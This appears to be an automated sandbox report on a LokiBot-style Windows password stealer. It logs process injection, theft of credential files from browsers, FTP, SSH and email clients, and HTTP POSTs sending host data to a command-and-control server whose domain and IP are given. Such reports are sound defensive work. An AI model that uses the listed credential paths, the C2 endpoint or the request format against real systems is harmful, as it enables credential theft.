Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	Oct. 21, 2021, 6:17 p.m.	Oct. 21, 2021, 6:27 p.m.

Size	372.5KB
Type	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5	`0929fb7f0a76cd563c16ba1b3303dcb4`
SHA256	`2447eb9572ac10a9daacaad16bf8f4f922041849c0a570cdeb8724ea9285aac6`
CRC32	`2F9695DC`
ssdeep	`6144:36Uqd2GhNEDnLwOYw8fVZjJ/i05YrVr9cJKmi+KwPLMjXX8te2FQ1067:KUi2iNEDnLwOYwYbjdi05aJIa+KUA8Ar`
Yara	PE_Header_Zero - PE File Signature Generic_Malware_Zero - Generic Malware IsPE32 - (no description) Is_DotNET_EXE - (no description) Win32_Trojan_PWS_Net_1_Zero - Win32 Trojan PWS .NET Azorult

csrss.exe "C:\Users\test22\AppData\Local\Temp\csrss.exe"
2216
- csrss.exe "C:\Users\test22\AppData\Local\Temp\csrss.exe"
  2552

Name	Response	Post-Analysis Lookup
secure01-redirect.net	A 185.22.172.2	185.22.172.2

IP Address	Status	Action
164.124.101.2	Active	Moloch
185.22.172.2	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.101:49205 -> 185.22.172.2:80	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	A Network Trojan was detected
TCP 192.168.56.101:49205 -> 185.22.172.2:80	2025381	ET MALWARE LokiBot Checkin	Malware Command and Control Activity Detected
TCP 192.168.56.101:49207 -> 185.22.172.2:80	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	A Network Trojan was detected
TCP 192.168.56.101:49205 -> 185.22.172.2:80	2024312	ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M1	A Network Trojan was detected
TCP 192.168.56.101:49207 -> 185.22.172.2:80	2025381	ET MALWARE LokiBot Checkin	Malware Command and Control Activity Detected
TCP 192.168.56.101:49205 -> 185.22.172.2:80	2024317	ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M2	A Network Trojan was detected
TCP 192.168.56.101:49208 -> 185.22.172.2:80	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	A Network Trojan was detected
TCP 192.168.56.101:49208 -> 185.22.172.2:80	2025381	ET MALWARE LokiBot Checkin	Malware Command and Control Activity Detected
TCP 192.168.56.101:49208 -> 185.22.172.2:80	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	Malware Command and Control Activity Detected
TCP 192.168.56.101:49208 -> 185.22.172.2:80	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	Malware Command and Control Activity Detected
TCP 185.22.172.2:80 -> 192.168.56.101:49208	2025483	ET MALWARE LokiBot Fake 404 Response	A Network Trojan was detected
TCP 192.168.56.101:49209 -> 185.22.172.2:80	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	A Network Trojan was detected
TCP 192.168.56.101:49209 -> 185.22.172.2:80	2025381	ET MALWARE LokiBot Checkin	Malware Command and Control Activity Detected
TCP 192.168.56.101:49209 -> 185.22.172.2:80	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	Malware Command and Control Activity Detected
TCP 192.168.56.101:49209 -> 185.22.172.2:80	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	Malware Command and Control Activity Detected
TCP 185.22.172.2:80 -> 192.168.56.101:49209	2025483	ET MALWARE LokiBot Fake 404 Response	A Network Trojan was detected
TCP 192.168.56.101:49207 -> 185.22.172.2:80	2024312	ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M1	A Network Trojan was detected
TCP 192.168.56.101:49207 -> 185.22.172.2:80	2024317	ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M2	A Network Trojan was detected

Suricata TLS

No Suricata TLS

Queries for the computername (3 events)

Time & API	Arguments	Status	Return
GetComputerNameW Oct. 21, 2021, 6:26 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 21, 2021, 6:26 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 21, 2021, 6:26 p.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (2 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Oct. 21, 2021, 6:17 p.m.			0	0
IsDebuggerPresent Oct. 21, 2021, 6:17 p.m.			0	0

Collects information to fingerprint the system (MachineGuid, DigitalProductId, SystemBiosDate) (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid

Tries to locate where the browsers are installed (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Firefox

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Oct. 21, 2021, 6:17 p.m.		1	1	0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

POST method with no referer header, HTTP version 1.0 used

suspicious_request

POST http://secure01-redirect.net/fd4/fre.php

Performs some HTTP requests (1 event)

request

POST http://secure01-redirect.net/fd4/fre.php

Sends data using the HTTP POST Method (1 event)

request

POST http://secure01-redirect.net/fd4/fre.php

Allocates read-write-execute memory (usually to unpack itself) (26 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Oct. 21, 2021, 6:17 p.m.	process_identifier: 2216 region_size: 2162688 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00af0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 21, 2021, 6:17 p.m.	process_identifier: 2216 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00cc0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Oct. 21, 2021, 6:17 p.m.	process_identifier: 2216 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72741000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Oct. 21, 2021, 6:17 p.m.	process_identifier: 2216 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72742000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 21, 2021, 6:17 p.m.	process_identifier: 2216 region_size: 2097152 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02100000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 21, 2021, 6:17 p.m.	process_identifier: 2216 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x022c0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 21, 2021, 6:17 p.m.	process_identifier: 2216 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x002d2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 21, 2021, 6:17 p.m.	process_identifier: 2216 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00375000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 21, 2021, 6:17 p.m.	process_identifier: 2216 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0037b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 21, 2021, 6:17 p.m.	process_identifier: 2216 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00377000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 21, 2021, 6:17 p.m.	process_identifier: 2216 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0035c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 21, 2021, 6:17 p.m.	process_identifier: 2216 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x007c0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 21, 2021, 6:17 p.m.	process_identifier: 2216 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x002da000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 21, 2021, 6:17 p.m.	process_identifier: 2216 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0036a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 21, 2021, 6:17 p.m.	process_identifier: 2216 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00367000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 21, 2021, 6:17 p.m.	process_identifier: 2216 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0035a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Oct. 21, 2021, 6:17 p.m.	process_identifier: 2216 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6e5c2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 21, 2021, 6:18 p.m.	process_identifier: 2216 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x007c1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 21, 2021, 6:18 p.m.	process_identifier: 2216 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0035d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 21, 2021, 6:18 p.m.	process_identifier: 2216 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x007c2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 21, 2021, 6:18 p.m.	process_identifier: 2216 region_size: 20480 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x007c3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 21, 2021, 6:18 p.m.	process_identifier: 2216 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x007c8000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 21, 2021, 6:18 p.m.	process_identifier: 2216 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x007c9000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 21, 2021, 6:18 p.m.	process_identifier: 2216 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x007ca000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 21, 2021, 6:18 p.m.	process_identifier: 2216 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x007cb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 21, 2021, 6:18 p.m.	process_identifier: 2216 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00366000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Steals private information from local Internet browsers (19 events)

file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Login Data
file	C:\Users\test22\AppData\Roaming\Opera\Opera Next\data\Default\Login Data
file	C:\Users\test22\AppData\Roaming\Opera\Opera Next\data\User Data\Default\Web Data
file	C:\Users\test22\AppData\Roaming\Opera\Opera Next\data\User Data\Default\Login Data
file	C:\Users\test22\AppData\Roaming\Opera\Opera Next\data\Login Data
file	C:\Users\test22\AppData\Local\Chromium\User Data\Default\Web Data
file	C:\Users\test22\AppData\Local\Chromium\User Data\Default\Login Data
file	C:\Users\test22\AppData\LocalMapleStudio\ChromePlus\Default\Login Data
file	C:\Users\test22\AppData\Local\MapleStudio\ChromePlus\User Data\Default\Web Data
file	C:\Users\test22\AppData\Local\MapleStudio\ChromePlus\User Data\Default\Login Data
file	C:\Users\test22\AppData\LocalMapleStudio\ChromePlus\Login Data
file	C:\Users\test22\AppData\Local\Nichrome\User Data\Default\Login Data
file	C:\Users\test22\AppData\Local\Nichrome\User Data\Default\Web Data
file	C:\Users\test22\AppData\Local\RockMelt\User Data\Default\Login Data
file	C:\Users\test22\AppData\Local\RockMelt\User Data\Default\Web Data
file	C:\Users\test22\AppData\Local\Yandex\YandexBrowser\User Data\Default\Web Data
file	C:\Users\test22\AppData\Local\Yandex\YandexBrowser\User Data\Default\Login Data
registry	HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\SeaMonkey
registry	HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Firefox

Moves the original executable to a new location (1 event)

Time & API	Arguments	Status	Return	Repeated
MoveFileWithProgressW Oct. 21, 2021, 6:26 p.m.	newfilepath_r: C:\Users\test22\AppData\Roaming\41D896\6D6F4D.exe flags: 1 oldfilepath_r: C:\Users\test22\AppData\Local\Temp\csrss.exe newfilepath: C:\Users\test22\AppData\Roaming\41D896\6D6F4D.exe oldfilepath: C:\Users\test22\AppData\Local\Temp\csrss.exe	1	1	0

The binary likely contains encrypted or compressed data indicative of a packer (2 events)

section

{u'size_of_data': u'0x0005c800', u'virtual_address': u'0x00002000', u'entropy': 7.687812851370281, u'name': u'.text', u'virtual_size': u'0x0005c7c4'}

entropy

7.68781285137

description

A section with a high entropy has been found

entropy

0.994623655914

description

Overall entropy of this PE file is high

Checks for the Locally Unique Identifier on the system for a suspicious privilege (2 events)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW Oct. 21, 2021, 6:18 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0
LookupPrivilegeValueW Oct. 21, 2021, 6:26 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Potentially malicious URLs were found in the process memory dump (1 event)

url	http://www.ibsensoftware.com/

Yara rule detected in process memory (11 events)

description	Communications over RAW Socket	rule	Network_TCP_Socket
description	Communications use DNS	rule	Network_DNS
description	Win32 PWS Loki	rule	Win32_PWS_Loki_Zero
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep

Terminates another process (4 events)

Time & API	Arguments	Status
NtTerminateProcess Oct. 21, 2021, 6:18 p.m.	status_code: 0xffffffff process_identifier: 1632 process_handle: 0x00000260
NtTerminateProcess Oct. 21, 2021, 6:18 p.m.	status_code: 0xffffffff process_identifier: 1632 process_handle: 0x00000260	1
NtTerminateProcess Oct. 21, 2021, 6:18 p.m.	status_code: 0xffffffff process_identifier: 2772 process_handle: 0x0000026c
NtTerminateProcess Oct. 21, 2021, 6:18 p.m.	status_code: 0xffffffff process_identifier: 2772 process_handle: 0x0000026c	1

Allocates execute permission to another process indicative of possible code injection (3 events)

Time & API	Arguments	Status	Return
NtAllocateVirtualMemory Oct. 21, 2021, 6:18 p.m.	process_identifier: 1632 region_size: 663552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000250		3221225496
NtAllocateVirtualMemory Oct. 21, 2021, 6:18 p.m.	process_identifier: 2772 region_size: 663552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000264		3221225496
NtAllocateVirtualMemory Oct. 21, 2021, 6:18 p.m.	process_identifier: 2552 region_size: 663552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000268	1	0

Harvests credentials from local FTP client softwares (22 events)

file	C:\Program Files (x86)\FTPGetter\Profile\servers.xml
file	C:\Users\test22\AppData\Roaming\FTPGetter\servers.xml
file	C:\Users\test22\AppData\Roaming\Estsoft\ALFTP\ESTdb2.dat
file	C:\Users\test22\AppData\Roaming\GHISLER\wcx_ftp.ini
file	C:\Users\test22\AppData\Roaming\wcx_ftp.ini
file	C:\Windows\wcx_ftp.ini
file	C:\Users\test22\wcx_ftp.ini
file	C:\Windows\32BitFtp.ini
file	C:\Users\test22\AppData\Roaming\FileZilla\sitemanager.xml
file	C:\Program Files (x86)\FileZilla\Filezilla.xml
file	C:\Users\test22\AppData\Roaming\FileZilla\recentservers.xml
file	C:\Users\test22\AppData\Roaming\FileZilla\filezilla.xml
registry	HKEY_CURRENT_USER\Software\Far\Plugins\FTP\Hosts
registry	HKEY_CURRENT_USER\Software\Far2\Plugins\FTP\Hosts
registry	HKEY_CURRENT_USER\Software\Ghisler\Total Commander
registry	HKEY_CURRENT_USER\Software\VanDyke\SecureFX
registry	HKEY_CURRENT_USER\Software\LinasFTP\Site Manager
registry	HKEY_CURRENT_USER\Software\FlashPeak\BlazeFtp\Settings
registry	HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions
registry	HKEY_LOCAL_MACHINE\Software\SimonTatham\PuTTY\Sessions
registry	HKEY_CURRENT_USER\Software\Martin Prikryl
registry	HKEY_LOCAL_MACHINE\Software\Martin Prikryl

Harvests information related to installed instant messenger clients (1 event)

file	C:\Users\test22\AppData\Roaming\.purple\accounts.xml

Manipulates memory of a non-child process indicative of process injection (4 events)

Time & API	Arguments	Return	Repeated
Process injection	Process 2216 manipulating memory of non-child process 1632
Process injection	Process 2216 manipulating memory of non-child process 2772
NtAllocateVirtualMemory Oct. 21, 2021, 6:18 p.m.	process_identifier: 1632 region_size: 663552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000250	3221225496	0
NtAllocateVirtualMemory Oct. 21, 2021, 6:18 p.m.	process_identifier: 2772 region_size: 663552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000264	3221225496	0

Network communications indicative of possible code injection originated from the process csrss.exe (12 events)

Time & API	Arguments	Status	Return
connect Oct. 21, 2021, 6:26 p.m.	ip_address: 185.22.172.2 socket: 416 port: 80	1	0
send Oct. 21, 2021, 6:26 p.m.	buffer: POST /fd4/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: secure01-redirect.net Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A61FB52E Content-Length: 186 Connection: close socket: 416 sent: 245	1	245
send Oct. 21, 2021, 6:26 p.m.	buffer: 'ckav.rutest22TEST22-PCtest22-PCk086627BC41D896D6F4DE8430FEqyay socket: 416 sent: 186	1	186
connect Oct. 21, 2021, 6:26 p.m.	ip_address: 185.22.172.2 socket: 416 port: 80	1	0
send Oct. 21, 2021, 6:26 p.m.	buffer: POST /fd4/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: secure01-redirect.net Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A61FB52E Content-Length: 186 Connection: close socket: 416 sent: 245	1	245
send Oct. 21, 2021, 6:26 p.m.	buffer: 'ckav.rutest22TEST22-PCtest22-PCÆ+086627BC41D896D6F4DE8430F2g5ym socket: 416 sent: 186	1	186
connect Oct. 21, 2021, 6:26 p.m.	ip_address: 185.22.172.2 socket: 416 port: 80	1	0
send Oct. 21, 2021, 6:26 p.m.	buffer: POST /fd4/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: secure01-redirect.net Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A61FB52E Content-Length: 159 Connection: close socket: 416 sent: 245	1	245
send Oct. 21, 2021, 6:26 p.m.	buffer: (ckav.rutest22TEST22-PCtest22-PC086627BC41D896D6F4DE8430F socket: 416 sent: 159	1	159
connect Oct. 21, 2021, 6:27 p.m.	ip_address: 185.22.172.2 socket: 420 port: 80	1	0
send Oct. 21, 2021, 6:27 p.m.	buffer: POST /fd4/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: secure01-redirect.net Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A61FB52E Content-Length: 159 Connection: close socket: 420 sent: 245	1	245
send Oct. 21, 2021, 6:27 p.m.	buffer: (ckav.rutest22TEST22-PCtest22-PC086627BC41D896D6F4DE8430F socket: 420 sent: 159	1	159

Potential code injection by writing to the memory of another process (3 events)

Time & API	Arguments	Status	Return
WriteProcessMemory Oct. 21, 2021, 6:18 p.m.	buffer: MZÿÿ¸@ðº´ Í!¸LÍ!This program cannot be run in DOS mode. $ÌÍxþ¬¬¬Ô¬K£K¬ ¬=2ó¬¬¬Ô¬¬Ç¬Ô¬=2÷ó¬=2È¬Rich¬PELlWà8¢Þ9P@ ÐdP\.textõ68 `.rdata`@PB<@@.data$^ ~@À.x À base_address: 0x00400000 process_identifier: 2552 process_handle: 0x00000268	1	1
WriteProcessMemory Oct. 21, 2021, 6:18 p.m.	buffer: TÍ<¨K¢`Ý;U base_address: 0x0041a000 process_identifier: 2552 process_handle: 0x00000268	1	1
WriteProcessMemory Oct. 21, 2021, 6:18 p.m.	buffer: @ base_address: 0x7efde008 process_identifier: 2552 process_handle: 0x00000268	1	1

Code injection by writing an executable or DLL to the memory of another process (1 event)

Time & API	Arguments	Status	Return	Repeated
WriteProcessMemory Oct. 21, 2021, 6:18 p.m.	buffer: MZÿÿ¸@ðº´ Í!¸LÍ!This program cannot be run in DOS mode. $ÌÍxþ¬¬¬Ô¬K£K¬ ¬=2ó¬¬¬Ô¬¬Ç¬Ô¬=2÷ó¬=2È¬Rich¬PELlWà8¢Þ9P@ ÐdP\.textõ68 `.rdata`@PB<@@.data$^ ~@À.x À base_address: 0x00400000 process_identifier: 2552 process_handle: 0x00000268	1	1	0

File has been identified by 19 AntiVirus engines on VirusTotal as malicious (19 events)

Elastic	malicious (high confidence)
Sangfor	Suspicious.Win32.Save.a
Cybereason	malicious.4512fa
BitDefenderTheta	Gen:NN.ZemsilF.34218.xm0@aKJqRef
Cyren	W32/Trojan.SW.gen!Eldorado
Symantec	Scr.Malcode!gdn30
ESET-NOD32	a variant of MSIL/GenKryptik.FMJE
APEX	Malicious
Kaspersky	UDS:DangerousObject.Multi.Generic
Avast	Win32:PWSX-gen [Trj]
McAfee-GW-Edition	BehavesLike.Win32.Generic.fc
FireEye	Generic.mg.0929fb7f0a76cd56
Sophos	ML/PE-A
Microsoft	PWS:Win32/Fareit.MS!MTB
Cynet	Malicious (score: 100)
SentinelOne	Static AI - Malicious PE
AVG	Win32:PWSX-gen [Trj]
CrowdStrike	win/malicious_confidence_90% (D)
MaxSecure	Trojan.Malware.300983.susgen

Harvests credentials from local email clients (3 events)

registry	HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook
registry	HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Thunderbird
registry	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook

Used NtSetContextThread to modify a thread in a remote process indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2216 called NtSetContextThread to modify thread in remote process 2552
NtSetContextThread Oct. 21, 2021, 6:18 p.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4274654 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x0000026c process_identifier: 2552	1	0	0

Putty Files, Registry Keys and/or Mutexes Detected

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2216 resumed a thread in remote process 2552
NtResumeThread Oct. 21, 2021, 6:18 p.m.	thread_handle: 0x0000026c suspend_count: 1 process_identifier: 2552	1	0	0

Created a process named as a common system process (3 events)

Time & API	Arguments	Status	Return
CreateProcessInternalW Oct. 21, 2021, 6:18 p.m.	thread_identifier: 2856 thread_handle: 0x0000024c process_identifier: 1632 current_directory: filepath: C:\Users\test22\AppData\Local\Temp\csrss.exe track: 1 command_line: filepath_r: C:\Users\test22\AppData\Local\Temp\csrss.exe stack_pivoted: 0 creation_flags: 134217732 (CREATE_NO_WINDOW\|CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x00000250	1	1
CreateProcessInternalW Oct. 21, 2021, 6:18 p.m.	thread_identifier: 2932 thread_handle: 0x00000260 process_identifier: 2772 current_directory: filepath: C:\Users\test22\AppData\Local\Temp\csrss.exe track: 1 command_line: filepath_r: C:\Users\test22\AppData\Local\Temp\csrss.exe stack_pivoted: 0 creation_flags: 134217732 (CREATE_NO_WINDOW\|CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x00000264	1	1
CreateProcessInternalW Oct. 21, 2021, 6:18 p.m.	thread_identifier: 2936 thread_handle: 0x0000026c process_identifier: 2552 current_directory: filepath: C:\Users\test22\AppData\Local\Temp\csrss.exe track: 1 command_line: filepath_r: C:\Users\test22\AppData\Local\Temp\csrss.exe stack_pivoted: 0 creation_flags: 134217732 (CREATE_NO_WINDOW\|CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x00000268	1	1

Executed a process and injected code into it, probably while unpacking (21 events)

Time & API	Arguments	Status	Return
NtResumeThread Oct. 21, 2021, 6:17 p.m.	thread_handle: 0x000000dc suspend_count: 1 process_identifier: 2216	1	0
NtResumeThread Oct. 21, 2021, 6:17 p.m.	thread_handle: 0x00000150 suspend_count: 1 process_identifier: 2216	1	0
NtResumeThread Oct. 21, 2021, 6:17 p.m.	thread_handle: 0x0000018c suspend_count: 1 process_identifier: 2216	1	0
CreateProcessInternalW Oct. 21, 2021, 6:18 p.m.	thread_identifier: 2856 thread_handle: 0x0000024c process_identifier: 1632 current_directory: filepath: C:\Users\test22\AppData\Local\Temp\csrss.exe track: 1 command_line: filepath_r: C:\Users\test22\AppData\Local\Temp\csrss.exe stack_pivoted: 0 creation_flags: 134217732 (CREATE_NO_WINDOW\|CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x00000250	1	1
NtGetContextThread Oct. 21, 2021, 6:18 p.m.	thread_handle: 0x0000024c	1	0
NtAllocateVirtualMemory Oct. 21, 2021, 6:18 p.m.	process_identifier: 1632 region_size: 663552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000250		3221225496
